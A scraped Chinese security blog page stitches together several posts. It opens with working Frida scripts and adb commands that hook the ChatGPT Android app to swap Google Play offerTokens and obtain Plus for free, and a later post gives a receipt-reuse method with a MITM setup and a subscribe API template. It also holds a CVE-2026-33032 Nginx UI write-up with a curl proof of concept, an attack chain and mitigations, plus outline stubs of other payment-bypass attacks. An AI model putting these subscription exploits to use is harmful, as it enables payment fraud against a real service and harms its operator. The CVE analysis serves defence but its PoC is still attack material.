 } catch(_) {}

 log("就绪。请在 ChatGPT 中点击订阅按钮。");
});

完整 Frida 脚本（动态捕获版）

如果你拿到的 offerToken 格式有变化，可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换：

// Dynamic offerToken — 1 MONTH FREE Plus trial
Java.perform(function () {
 console.log('[*] plus-1-month-free-trial');
 var TARGET_OFFER_ID = "plus-1-month-free-trial";

 var capturedToken = null;

 function scanC3qInstances() {
 try {
 Java.choose('c3q', {
 onMatch: function (inst) {
 try {
 var clazz = inst.getClass();
 var bF = clazz.getDeclaredField('b'); bF.setAccessible(true);
 var cF = clazz.getDeclaredField('c'); cF.setAccessible(true);
 var offerId = bF.get(inst);
 var offerToken = cF.get(inst);
 var oidStr = (offerId === null) ? '(default)' : ('' + offerId);
 var tokStr = (offerToken === null) ? 'null' : ('' + offerToken);
 if (tokStr.indexOf('Adumm') === 0 && oidStr === TARGET_OFFER_ID) {
 capturedToken = tokStr;
 console.log(' >>> FOUND ' + TARGET_OFFER_ID + ' <<<');
 }
 } catch (e) {}
 },
 onComplete: function () {}
 });
 } catch (e) {}
 }

 setInterval(function () {
 if (!capturedToken) Java.perform(scanC3qInstances);
 }, 3000);

 var Intent = Java.use('android.content.Intent');
 var Bundle = Java.use('android.os.Bundle');

 function maybeSwap(orig, ctx) {
 if (!orig || orig.indexOf('Adumm') !== 0) return orig;
 if (!capturedToken) Java.perform(scanC3qInstances);
 if (capturedToken) {
 console.log('[' + ctx + '] SWAP -> ' + TARGET_OFFER_ID);
 return capturedToken;
 }
 return orig;
 }

 Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function (k, v) {
 return this.putExtra(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Intent') : v);
 };
 Bundle.putString.implementation = function (k, v) {
 return this.putString(k, (v && v.indexOf && v.indexOf('Adumm') === 0) ? maybeSwap(v, 'Bundle') : v);
 };
 Bundle.putStringArrayList.implementation = function (k, list) {
 try {
 if (list !== null) for (var i = 0; i < list.size(); i++) {
 var v = list.get(i), sv = '' + v;
 if (sv.indexOf('Adumm') === 0) list.set(i, maybeSwap(sv, 'BundleArr'));
 }
 } catch (e) {}
 return this.putStringArrayList(k, list);
 };

 console.log('[+] Open subscription page first.');
});

使用说明（简化版脚本）：

启动 Frida 服务端

在手机上执行：

adb push frida-server /data/local/tmp/
adb shell chmod 755 /data/local/tmp/frida-server
adb shell su -c '/data/local/tmp/frida-server &'

注入脚本

在电脑端执行：
```
frida -U -f com.openai.chatgpt -l hook.js
```
看到 [GPT] 启动 — 注入 plus-1-month-free-trial 后继续。
完成购买

在 ChatGPT 里点击升级订阅 → 在 Google Play 弹窗里点确认 → 完成。

控制台应该显示 [GPT] offerToken 已注入，支付金额显示为 0 元。

使用说明（动态捕获版脚本）：

手机 Root 并安装 Magisk
推送 frida-server (HLUDA 版本) 到手机并运行
打开 ChatGPT 应用，进入升级 - 订阅 Plus 页面
电脑端运行 frida -U -f com.openai.chatgpt -l script.js 开启脚本
脚本会自动捕获并替换 token（控制台显示 SWAP -> plus-1-month-free-trial）
在订阅页面点击升级，弹出的谷歌支付弹窗即显示 0 元
完成验证后订阅成功

注意事项：

建议使用简化版脚本，更稳定
如果简化版不工作，再尝试动态捕获版
使用 HLUDA 版本 Frida 可绕过部分检测
部分设备可能需要关闭 Google Play 保护机制

漏洞根源分析

方案一：API 响应注入

漏洞根源：服务端未校验 eligible_promo_campaigns 中优惠码的获取途径合法性，仅验证格式有效即允许使用。

修复状态：部分修复。目前部分优惠码已与账号资格绑定，但固定优惠码仍可使用。

方案二：offerToken 替换

漏洞根源：Google Play Billing 信任客户端传入的 offerToken，未与服务端二次校验账号是否真正具备该优惠的使用资格。

修复状态：未修复。这是 Google Play Billing 的设计缺陷，需要谷歌层面修复。

方案三：批量开 Pro（已修复）

这是之前某个公益 Bot 使用的大规模开 Pro 方案：

正价开通一个 ChatGPT Pro 账号
在客户端内点击"降级为 Plus"
客户端向 RevenueCat 请求新的 fetch_token
该 token 为一次性凭证，未使用前可无限生成
将 token 分发给需要开 Pro 的账号

漏洞根源：RevenueCat 作为第三方订阅管理平台，与 ChatGPT 服务端之间的回调接口缺乏鉴权机制。服务端未校验 fetch_token 的来源合法性，仅验证 token 格式有效即开通权益。

修复状态：该方案已被修复。目前 fetch_token 已与设备指纹和账号绑定，无法跨账号使用。

技术总结

漏洞类型

业务逻辑漏洞：服务端过度信任客户端传入的订阅凭证
第三方集成风险：RevenueCat/Google Play Billing 回调接口缺乏鉴权
优惠码校验缺失：未校验优惠码的获取途径合法性和账号资格

攻击链关键点

中间人攻击可行性：安卓客户端未启用 SSL Pinning（或可被 Root 绕过）
内存 Hook 可行性：Google Play Billing 未检测 Frida 等 Hook 框架
零元订阅风控宽松：Google Play 对 0 元交易验证级别低
凭证复用漏洞：fetch_token/offerToken 未与账号/设备绑定

防御建议

对开发者的建议

服务端校验：所有订阅状态变更必须与 Google Play Billing 侧二次确认
凭证绑定：fetch_token/offerToken 应绑定设备指纹、账号 ID、时间戳
优惠码校验：记录优惠码使用历史，检测异常使用模式
SSL Pinning：移动端应用应启用证书锁定防止中间人攻击
反 Hook 检测：检测 Frida、Xposed 等 Hook 框架

对用户的提醒

此类漏洞属于灰色地带，使用可能导致账号被封禁
绑定的支付方式存在潜在风险，建议使用虚拟卡
漏洞随时可能被修复，不建议作为长期使用方案

法律免责声明

本文仅用于技术研究与安全交流，请勿将所述技术用于非法用途。未经授权的订阅漏洞利用可能违反以下法律：

《中华人民共和国网络安全法》
《计算机信息网络国际联网安全保护管理办法》
美国 Computer Fraud and Abuse Act (CFAA)

如因滥用本文技术导致的法律后果，作者不承担任何责任。

参考资料

标签: #ChatGPT #订阅漏洞 #GooglePlayBilling #Frida #支付安全 #移动安全 #漏洞分析

CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)

Fri, 17 Apr 2026 04:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

漏洞等级: 🔴 CRITICAL (CVSS 9.8) 影响版本: Nginx UI ≤ 2.3.5 CVE 编号: CVE-2026-33032 CWE 编号: CWE-306 (关键功能缺少认证) 披露日期: 2026-03-30 最后更新: 2026-04-16

漏洞概述

CVE-2026-33032 是 Nginx UI（Nginx 服务器的 Web 管理界面）中的一个严重未授权访问漏洞。攻击者可以利用该漏洞在无需任何身份认证的情况下，通过 MCP (Model Context Protocol) 集成端点执行任意管理操作，包括：

🔄 重启 Nginx 服务
📝 创建/修改/删除 Nginx 配置文件
⚡ 触发自动配置重载
🎯 完全接管 Nginx 服务

该漏洞的 CVSS 3.1 基础评分为 9.8 (CRITICAL)，攻击向量为网络 (AV:N)，攻击复杂度低 (AC:L)，无需权限 (PR:N)，无需用户交互 (UI:N)，对机密性、完整性、可用性均有高影响 (C:H/I:H/A:H)。

漏洞原理

问题根源

Nginx UI 的 MCP 集成暴露了两个 HTTP 端点：

端点	认证要求	状态
`/mcp`	IP 白名单 + AuthRequired() 中间件	✅ 安全
`/mcp_message`	仅 IP 白名单	❌ 存在漏洞

致命缺陷

/mcp_message 端点的问题在于：

仅应用 IP 白名单检查，没有身份认证
默认 IP 白名单为空 ([])
空白的 IP 白名单被中间件解释为 “允许所有 IP”

这意味着任何能够访问 Nginx UI 的网络攻击者都可以：

任意攻击者 → /mcp_message → 调用所有 MCP 工具 → 完全控制 Nginx

代码层面分析

根据 GitHub 安全公告 (GHSA-h6c2-x2m2-mwhf)，问题出在中间件配置上：

// /mcp 端点 - 正确配置
app.use('/mcp', ipWhitelistMiddleware, AuthRequired(), mcpHandler);

// /mcp_message 端点 - 错误配置
app.use('/mcp_message', ipWhitelistMiddleware, mcpHandler);
// ⚠️ 缺少 AuthRequired() 中间件
// ⚠️ 默认 ipWhitelist = [] 被解释为允许所有

影响范围

受影响版本

软件	受影响版本	修复版本
Nginx UI	≤ 2.3.5	暂无公开补丁

CPE 标识

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* versions up to (including) 2.3.5

潜在影响

如果 Nginx UI 暴露在公网或不受信任的网络中，攻击者可以：

服务中断: 重启 Nginx 导致网站下线
配置篡改: 修改 Nginx 配置植入恶意规则
反向代理滥用: 配置反向代理进行流量劫持
SSRF 攻击: 利用 Nginx 的 proxy_pass 功能内网探测
WebShell 部署: 通过配置写入恶意脚本

漏洞复现

环境准备

# 安装受影响的 Nginx UI 版本
docker run -d --name nginx-ui \
 -p 8080:80 \
 -p 9000:9000 \
 0xjacky/nginx-ui:2.3.5

检测步骤

步骤 1: 确认 Nginx UI 可访问

curl -I http://target-ip:9000/
# HTTP/1.1 200 OK 表示服务在线

步骤 2: 测试 /mcp_message 端点

curl -X POST http://target-ip:9000/mcp_message \
 -H "Content-Type: application/json" \
 -d '{"method":"tools/call","params":{"name":"nginx.restart"}}'

步骤 3: 如果返回成功响应，说明存在漏洞

{
 "result": {
 "status": "success",
 "message": "Nginx restarted"
 }
}

攻击利用链

1. 信息收集
 └─→ 扫描 9000 端口 (默认 Nginx UI 端口)

2. 漏洞验证
 └─→ 访问 /mcp_message 端点测试未授权访问

3. 权限提升
 └─→ 调用 MCP 工具读取/修改 Nginx 配置

4. 持久化控制
 └─→ 修改配置植入后门或反向代理规则

5. 横向移动
 └─→ 利用 Nginx 作为跳板探测内网

临时缓解方案

⚠️ 截至 2026-04-17，官方尚未发布修复补丁。建议采取以下临时缓解措施：

方案 1: 网络隔离 (推荐)

将 Nginx UI 限制在内部网络访问：

# 防火墙规则 (UFW 示例)
ufw deny 9000/tcp
ufw allow from 10.0.0.0/8 to any port 9000 proto tcp
ufw allow from 192.168.0.0/16 to any port 9000 proto tcp

方案 2: Nginx 反向代理认证

在 Nginx UI 前部署认证层：

server {
 listen 80;
 server_name nginx-ui.example.com;

 location / {
 auth_basic "Nginx UI Admin";
 auth_basic_user_file /etc/nginx/.htpasswd;

 # 仅允许受信任 IP 访问 MCP 端点
 location /mcp_message {
 allow 10.0.0.0/8;
 allow 192.168.0.0/16;
 deny all;
 }

 proxy_pass http://127.0.0.1:9000;
 }
}

方案 3: 禁用 MCP 功能

如果不需要 MCP 集成，可以在配置中禁用：

# Nginx UI 配置文件
mcp:
 enabled: false

方案 4: 修改 IP 白名单

在 Nginx UI 配置中显式设置 IP 白名单：

mcp:
 ip_whitelist:
 - 127.0.0.1
 - 10.0.0.1 # 仅允许可信 IP

检测与监控

日志审计

检查 Nginx UI 访问日志中的可疑请求：

# 搜索 /mcp_message 端点访问
grep "/mcp_message" /var/log/nginx-ui/access.log

# 检测异常 POST 请求
grep "POST /mcp_message" /var/log/nginx-ui/access.log | \
 awk '{print $1}' | sort | uniq -c | sort -rn

SIEM 规则

# Splunk 检测规则
index=nginx_ui
uri_path="/mcp_message"
http_method=POST
status=200
| stats count by src_ip, user_agent
| where count > 5

网络监控

监控对 Nginx UI 端点的异常访问：

# 使用 tcpdump 捕获可疑流量
tcpdump -i eth0 'port 9000 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
# 过滤 POST 请求

时间线

日期	事件
2026-03-30	GitHub 收到漏洞报告，分配 CVE-2026-33032
2026-03-30	GitHub 发布安全公告 (GHSA-h6c2-x2m2-mwhf)
2026-04-01	NIST NVD 收录该漏洞
2026-04-16	NVD 更新漏洞记录，添加参考链接
2026-04-17	暂无官方补丁发布

参考资源

总结

CVE-2026-33032 是一个典型的认证缺失漏洞，根源在于开发者错误地认为 IP 白名单可以替代身份认证。这个案例提醒我们：

防御深度: 单一安全措施（IP 白名单）不足以保护敏感功能
默认安全: 默认配置应该是安全的（空名单应解释为"拒绝所有"）
及时更新: 使用 Nginx UI 的管理员应密切关注官方补丁发布

🔔 建议: 如果你正在使用 Nginx UI ≤ 2.3.5，请立即实施上述缓解措施，并监控官方仓库获取补丁更新。

GPT Plus 代充漏洞揭秘 - 一张收据给无数账号开 Plus 的骚操作

Thu, 16 Apr 2026 11:45:00 +0000

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

⚠️ 时效性提醒（2026-07 更新）：本文发布于 2026 年 4 月，距今已过去 3 个月。iOS 收据复用漏洞据反馈已被 OpenAI 部分修复，当前可用性存疑。本文保留仅供安全研究与技术原理学习参考。

前言

兄弟们，今天来扒一个超级劲爆的漏洞——GPT Plus 代充背后的秘密！

你是不是经常在闲鱼上看到二三十块钱一个月的 GPT Plus 代充？是不是好奇人家咋做到的？今天我就把这个漏洞给你扒得明明白白！

先说好啊，本文仅供技术交流，任何实际操作产生的账号封禁、法律风险，自行承担！别怪我没提醒你~

原理：OpenAI 验票机制的重大漏洞

正常流程是啥样的？

你 iPhone 上点付款
 ↓
App Store 扣钱
 ↓
Apple 把收据扔到你手机本地
 ↓
ChatGPT App 捡起收据
 ↓
App 把收据和你当前登录的账号 token 一起打包发给 OpenAI
 ↓
OpenAI 验一下收据真假
 ↓
给你账号开 Plus

看起来挺严谨对吧？屁！

漏洞在哪？

OpenAI 验票的时候，根本不看这张收据是你 Apple ID 买的，还是隔壁老王 Apple ID 买的！

它只看两样东西：

收据合不合法
你传过来的 ChatGPT auth token 是不是活的

说白了：什么 Apple ID 绑定、什么账号对应关系，全！不！查！

这就好比你拿着别人的购物小票去柜台领东西，柜员只看小票真假，不看你身份证…

收据合法 + token 有效 = 任意账号变 Plus

漏洞利用全流程

第一步：搞一个土耳其区 Apple ID

为啥是土耳其？因为便宜啊！

土耳其区 Plus 标价 499 里拉一个月，折人民币大概八十五块。国内定价多少？一百四五！差价自己算~

往这个土区 Apple ID 里充好礼品卡，钱备足。

第二步：拦截收据

在你 iPhone 上打开 ChatGPT App，别登录你想开 Plus 的目标账号，随便登个临时号或者干脆不登。

核心操作：内购付款之前，配置网络拦截——阻止 ChatGPT App 把收据发给 OpenAI 服务器。

App Store 那边照样扣钱，Apple 照样把收据扔到你手机本地沙盒目录里。但因为你的拦截，这张收据没自动飞向 OpenAI，而是老老实实待在本地等你来拿。

第三步：导出收据

导出收据通常需越狱设备或利用系统漏洞。实际主流玩法有三种：

方法 A：端点本地映射

用 DNS 劫持或本地代理，把 ChatGPT App 发往 OpenAI 的请求重定向到你自己的本地服务器。请求里本来就带着 Base64 编码的收据，到了你本地，直接保存下来。

工具：

mitmproxy
Charles Proxy
自建 HTTPS 代理加一张自签证书

不用越狱，门槛低得令人发指。

方法 B：越狱加 Hook

越狱设备上用 Frida 或者 Flex，直接 hook StoreKit 框架，截下 SKPaymentTransaction 的 transactionReceipt，或者读 appStoreReceiptURL 拿收据文件。

粗暴直接。

方法 C：安卓径用 Xposed Hook

逻辑类似，不细说了。

第四步：API 补单

收据到手，直接往 OpenAI 的订阅接口发请求：

POST https://chat.openai.com/backend-api/payments/subscribe
Content-Type: application/json
Authorization: Bearer <目标账号的 auth token>

{
 "receipt": "<Base64 编码的 iOS 收据>",
 "platform": "ios",
 "product_id": "com.openai.chatgpt.plus",
 "device_info": {
 "model": "iPhone14,2",
 "os_version": "17.0",
 "timezone": "Asia/Shanghai"
 }
}

注意：这里的 auth token 是目标用户给你的登录令牌，权限有限，有效期短。你给他充完 Plus，他立刻改密码，你拿着这张收据去充下一个。

骚操作来了！

一张土耳其收据八十五块人民币成本，能给无数个账号开 Plus！

闲鱼上那些二三十块钱一个月的 GPT Plus 代充，就是这么来的。你以为人家做慈善？人家是拿一张票反复上车！

成本计算

项目	成本
土耳其区 Apple ID	免费（自己注册）
单张收据成本	¥85
可开通账号数	∞（理论无限）
单账号成本	趋近于 0

这利润空间…啧啧啧

为啥 OpenAI 不修复？

很多人会问：这么大的漏洞，OpenAI 为啥不补？

真相：不是补不了，是优先级不够，或者说，他们根本不在乎这点订阅收入的漏洞。

毕竟大头在企业 API 那边，个人订阅那点钱，对 OpenAI 来说就是毛毛雨~

而且这个漏洞还有个特点：需要 iOS 设备 + 网络拦截能力，门槛其实不低。普通用户根本玩不转，所以影响范围有限。

风险提示

⚠️ 重要提醒：

账号风险：用这种方式开通的 Plus 账号，随时可能被 OpenAI 封禁
法律风险：在某些地区可能涉及欺诈行为
道德风险：本质上是利用漏洞薅羊毛

本文仅供技术交流，请勿用于非法用途！

如何防范？

对于 OpenAI

验证收据与 Apple ID 的绑定关系
限制单张收据的使用次数
增加设备指纹验证

对于用户

走官方渠道购买 Plus
不要贪便宜买低价代充
定期检查账号状态

总结

这个漏洞的本质是OpenAI 在收据验证环节偷懒了，只验证收据真假，不验证收据与账号的对应关系。

技术要点：

土耳其区 Apple ID（便宜）
网络拦截（mitmproxy/Charles）
收据导出（越狱/Hook）
API 补单（重复使用收据）

最后再说一遍：本文仅供技术交流，请勿用于非法用途！想稳定用 Plus，还是走官方渠道吧~

觉得有用？别忘了分享给更多需要的朋友！👍

关注我，下期继续扒更多有趣的技术漏洞~

漏洞分析 on 逍遥笔记

虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密

前言

一、攻击复盘：从日志还原 660 条请求

1.1 攻击时间线

1.2 响应大小指纹

二、回调签名机制：为什么能被伪造

2.1 BEpusdt 的签名算法

2.2 ACG-Faka 的回调处理流程

三、根因分析：密钥泄露的两条路径 + 两重代码缺陷

3.1 路径一：备份文件泄露（官方公告确认）

3.2 路径二：Nginx 配置错误导致 Config.php 直接暴露

3.3 代码缺陷一：PHP 弱类型比较（高危）

3.4 代码缺陷二：回调端点无访问控制（中危）

四、完整攻击链

五、五站实测审计

5.1 攻击向量

5.2 审计结果

5.3 为什么这五个站没被攻破

六、防御方案

6.1 P0 紧急修复（立即执行）

6.2 P1 加固措施

6.3 P2 监控告警

6.4 架构层面

七、总结

提链 — ChatGPT 跨区支付链接提取的完整技术拆解

联系逍遥

前言

一、为什么需要提链——信用卡的困境

二、提链的技术原理——四步拆解

Step 1：获取 Access Token

Step 2：创建 Checkout Session

Step 3：Stripe 协议流程

Step 4：提取支付链接

三、Stripe Checkout Session 的内部结构

四、八种支付方式的技术对比

五、从 0 PHP 到提链——漏洞与工具的边界

六、协议细节——那些让你卡住的坑

坑 1：IP 一致性

坑 2：expected_amount

坑 3：Stripe Session State

坑 4：Accept-Language 和 guid

坑 5：超时

七、开源提链脚本

多支付方式提链套件

MoMo 提取脚本（越南）

脚本的核心设计

八、为什么 OpenAI 不直接提供这些支付方式？

九、和 0 PHP 漏洞的关系——一张图说清

十、写在最后

附录：直卡绑定——另一条路

原理

和提链的关系

相关阅读

0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解

联系逍遥

前言

一、攻击全景：四步，从 JP 到 PH，从 $20 到 ₱0

Step 1：日本节点注册 OpenAI 账号

Step 2：切美国节点，提取 Access Token

Step 3：第三方工具生成 Checkout 链接

Step 4：打开链接，惊喜时刻

二、为什么是 0 PHP？——三种假说

假说一：第三方工具在创建 Checkout Session 时注入了零元参数（最可能）

假说二：跨区信号冲突导致定价路由进入异常分支

假说三：Stripe Checkout Session 的 line_items 被工具篡改

为什么是 PH BIN？

三、JP 注册的作用——制造"区域身份分裂"

四、第三方"提炼工具"在干什么？

五、BIN 选择——不是随便什么卡都行

BIN 在支付流中的角色

为什么必须是 PH BIN？

为什么要填美国账单地址？

六、从防御视角看——OpenAI 需要修什么

修复方案（从简单到全面）

七、这个漏洞和之前的几个有什么关系？

八、更通用的攻击模式——“区域信号碎片化”

攻击模型

防御原则

九、写在最后

坑 2：`expected_amount`

坑 4：`Accept-Language` 和 `guid`